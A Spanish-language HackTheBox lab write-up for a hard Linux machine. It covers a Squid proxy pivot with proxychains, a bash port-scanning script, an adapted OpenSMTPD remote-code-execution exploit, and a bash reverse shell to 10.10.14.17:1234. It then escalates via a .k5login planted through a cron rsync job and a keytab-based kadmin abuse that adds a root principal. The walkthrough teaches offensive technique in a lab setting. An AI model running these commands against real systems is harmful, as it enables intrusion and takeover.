Platform: HackTheBox
Difficult: Hard
Creator: polarbearer
Enumerando puertos abiertos:
$ nmap -Pn -sS --min-rate 5000 -n -p- --open 10.10.10.224 -oG allPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-16 13:42 -03
Nmap scan report for 10.10.10.224
Host is up (0.21s latency).
Not shown: 65498 filtered tcp ports (no-response), 32 filtered tcp ports (admin-prohibited), 1 closed tcp port (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
88/tcp open kerberos-sec
3128/tcp open squid-http
Nmap done: 1 IP address (1 host up) scanned in 26.88 seconds
Reconocimiento de los puertos abiertos:
$ nmap -Pn -sCV -p22,53,88,3128 -n 10.10.10.224 -oN portScan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-16 13:45 -03
Nmap scan report for 10.10.10.224
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 8d:dd:18:10:e5:7b:b0:da:a3:fa:14:37:a7:52:7a:9c (RSA)
| 256 f6:a9:2e:57:f8:18:b6:f4:ee:03:41:27:1e:1f:93:99 (ECDSA)
|_ 256 04:74:dd:68:79:f4:22:78:d8:ce:dd:8b:3e:8c:76:3b (ED25519)
53/tcp open domain ISC BIND 9.11.20 (RedHat Enterprise Linux 8)
| dns-nsid:
|_ bind.version: 9.11.20-RedHat-9.11.20-5.el8
88/tcp open kerberos-sec MIT Kerberos (server time: 2024-03-16 16:45:51Z)
3128/tcp open http-proxy Squid http proxy 4.11
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/4.11
Service Info: Host: REALCORP.HTB; OS: Linux; CPE: cpe:/o:redhat:enterprise_linux:8
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.61 seconds
El servicio Squid Proxy está en funcionamiento en el puerto 3128. En principio, podríamos intentar pasar a través de este proxy para alcanzar puertos internos, convirtiéndolo en un SSRF.
Si analizamos detenidamente la salida, podemos identificar cuatro aspectos importantes:
Ahora que conocemos el dominio realcorp.htb, podemos enumerar los subdominios utilizando dnsenum.
dnsenum --dnsserver 10.10.10.224 -f /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --threads 50 realcorp.htb
Al analizar los subdominios, encontramos un segmento de red interno que abarca la máscara de red 10.197.243.0/24 al cual inicialmente no tenemos acceso.
También identificamos un subdominio llamado wpad.realcorp.htb.
¿Que es WPAD?
Web Proxy Auto Discovery (WPAD) es un protocolo que permite a los navegadores aplicar automáticamente las configuraciones de proxy. Esto se logra localizando un archivo de configuración en la red llamado wpad.dat, que generalmente es proporcionado por los servidores WPAD en la red. Estos servidores son descubiertos en la red a través de DHCP o DNS, e incluso, cuando estos métodos fallan, se pueden utilizar Microsoft LLMNR y NBT-NS.
En nuestro caso, al tratarse de un servidor interno, no podemos acceder a él de forma directa. Para intentar acceder, utilizaremos el Squid Proxy.
curl --proxy 'http://10.10.10.224:3128' http://wpad.realcorp.htb/wpad.dat
Al parecer, se requiere autenticación para utilizar el proxy Squid.
En algunos casos, el Squid Proxy puede estar configurado de manera que permita hacer solicitudes pasando por el localhost del Proxy, evitando la autenticación. Squid Proxy viene, por defecto, con la regla http_access allow localhost en el archivo de configuración squid.conf.
Teniendo esto en cuenta, podemos intentar usar proxychains para hacer que nuestras solicitudes pasen primero por el proxy, luego por el localhost y finalmente se redirijan al destino.
El esquema sería algo como esto:
Actualizamos la configuración de ProxyChains para que las solicitudes también pasen por el localhost del Squid Proxy:
Ahora podemos intentar enviar nuestro request al servidor WPAD para ver qué sucede:
proxychains4 -q curl -X GET http://wpad.realcorp.htb/wpad.dat
Aún no funciona. Esto puede deberse a alguna regla de firewall configurada en el servidor WPAD que impide recibir solicitudes de proxies que no provengan de la IP 10.197.243.77, que es la IP del servidor proxy.
Por lo tanto, agregamos esta IP a la lista de proxies de proxychain:
Ahora funciona correctamente:
proxychains4 -q curl -X GET http://wpad.realcorp.htb/wpad.dat
La configuración del proxy realiza algunas validaciones, una de las cuales verifica que las solicitudes provengan de un segmento de red específico.
Aquí descubrimos que existe un nuevo segmento de red, 10.241.251.0/24.
Vamos a intentar enumerar los hosts en este nuevo segmento de red. Para ello, crearemos un pequeño script en bash.
#!/bin/bash
# Function to scan ports on a host
scan_port() {
host=$1
port=$2
if proxychains4 -q bash -c "echo '' > /dev/tcp/$host/$port" 2>/dev/null; then
echo "[+] Port $port discovered on $host"
fi
}
# Scan ports on all hosts and specified ports
for host in $(seq 1 254); do
for port in 22 25 80 88 443 445 3128 8080 8081; do
scan_port "10.241.251.$host" $port &
done
done
# Wait for all scans to finish
wait
./hostFinder.sh
Descubrimos el host 10.241.251.113, que parece tener el puerto 25 abierto. Vamos a escanearlo con nmap.
$ proxychains4 -q nmap -Pn -sCVT -p25 10.241.251.113
Reconocemos que esta corriendo OpenSMTPD en su versión 2.0.0.
Al consultar Searchsploit, podemos encontrar que OpenSMTPD es vulnerable a la ejecución remota de código en versiones inferiores a 6.6.1, lo cual aplica en este caso.
Si traemos el exploit y analizamos el código, veremos que se está enviando un correo a root:
s.send(b'RCPT TO:<root>\r\n')
No sabemos si root es un usuario válido que leerá nuestro correo, pero recordemos que al ver la página de autenticación de Squid Proxy, se filtraba un correo j.nakazawa@realcorp.htb. Probemos cambiarlo en el código:
s.send(b'RCPT TO:<j.nakazawa@realcorp.htb>\r\n')
Si probamos la ejecución remota de comandos, veremos que logramos ejecutar comandos en la máquina víctima.
Si intentamos enviar una shell con un típico one-liner, veremos que no funciona. En mi caso, descargué una reverse shell en bash en la máquina víctima y luego la ejecuté.
#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.10.14.17/1234 0>&1"
Si observamos el directorio de j.nakazawa, encontraremos un archivo de configuración con credenciales en /home/j.nakazawa/.msmtprc:
Al intentar utilizar esa contraseña para autenticarnos con la máquina 10.10.10.224 vía SSH, nos dirá que es incorrecta. Pero si activamos el modo verbose de SSH, podremos notar algo:
gssapi-with-mic hace referencia a un método de autenticación empleado en SSH que permite utilizar GSSAPI como autenticación. GSSAPI (Generic Security Services Application Program Interface) es una interfaz que permite a aplicaciones, como en este caso SSH, utilizar servicios de autenticación genéricos como Kerberos.
Además, si seguimos leyendo, nos encontraremos con un mensaje de error que indica que está buscando un ticket de Kerberos para utilizar en la autenticación.
Esto me hace pensar que primero deberíamos crear un ticket en nombre del usuario j.nakazawa para poder autenticarnos contra el servicio SSH.
Para hacer esto, primero debemos configurar nuestro /etc/krb5.conf de esta manera:
[libdefaults]
default_realm = REALCORP.HTB
[realms]
REALCORP.HTB = {
kdc = srv01.realcorp.htb
}
[domain_realm]
.REALCORP.HTB = REALCORP.HTB
REALCORP.HTB = REALCORP.HTB
Ahora nos sincronizaremos con el reloj del DC, en este caso 10.10.10.224:
$ ntpdate 10.10.10.224
Y ahora solicitaremos el ticket al KDC:
Ahora que ya tenemos el ticket creado, intentemos conectarnos por SSH.
Al revisar /etc/crontab en busca de tareas cron, encontramos una que se ejecuta cada minuto:
Esta tarea ejecuta un script ubicado en /usr/local/bin/log_backup.sh con privilegios de admin:
Este script utiliza rsyncz para mover todo el contenido del directorio /var/log/squid al directorio /home/admin y luego guarda un backup de los archivos access.log y cache.log en un archivo .tar:
El directorio /var/log/squid tiene permisos de escritura pero no de lectura para el grupo squid, al cual nuestro usuario pertenece. Esto nos permite escribir contenido dentro del directorio, pero no leer lo que tiene dentro.
Una buena idea sería crear dentro de la carpeta squid otra carpeta llamada .ssh donde colocar un archivo authorized_keys que contenga nuestra clave pública. Sin embargo, el autor de la máquina ha querido que lo hagamos de otra forma, por lo que ese metodo no funcionará.
Dado que el método primario de autenticación por SSH es GSSAPI y este funciona mediante Kerberos, podemos introducir el concepto de los archivos .k5login.
El archivo .k5login es un archivo de configuración de Kerberos que indica qué usuarios tienen permiso de autenticarse contra un servicio. En este caso, como contamos con un ticket del principal j.nakazawa, bastaría con agregar un archivo .k5login en el directorio home de admin para que nos podamos autenticar vía SSH sin proporcionar contraseña, solo con el ticket de j.nakazawa.
echo 'j.nakazawa@REALCORP.HTB' > /var/log/squid/.k5login
Ahora solo debemos esperar a que la tarea CRON se ejecute.
Buscaremos todos los archivos desde la raíz cuyo propietario sea el grupo admin:
Un archivo .keytab es un tipo de archivo que contiene pares de principios de Kerberos y sus claves encriptadas, las cuales son derivadas de sus contraseñas. Uno de los usos más comunes es permitir a scripts autenticarse con Kerberos sin interacción humana.
Los archivos keytab son un punto potencial de vulnerabilidad en un entorno Kerberos, por lo tanto, la seguridad de estos archivos es fundamental para la seguridad del sistema.
Kerberos nos proporciona una lista de comandos que podemos utilizar en el sistema. Entre ellos se encuentran kadmin, ksu, klist.
El comando ksu es similar a un sudo su, al intentar utilizarlo nos pedirá la contraseña del usuario root, la cual no tenemos.
Al tener acceso al archivo krb5.keytab, podemos listar todos los principios con el comando klist:
Como podemos ver, hay varios principals. Ahora intentaremos acceder a kadmin, haciendo uso del krb5.keytab y el principal kadmin/admin@REALCORP.HTB:
Lo que hicimos aquí fue utilizar el comando addprinc para agregar el principal root y asignarle una contraseña que nosotros queramos.
Ahora, al utilizar ksu, podremos utilizar la contraseña que asignamos para autenticarnos como root y obtener una shell.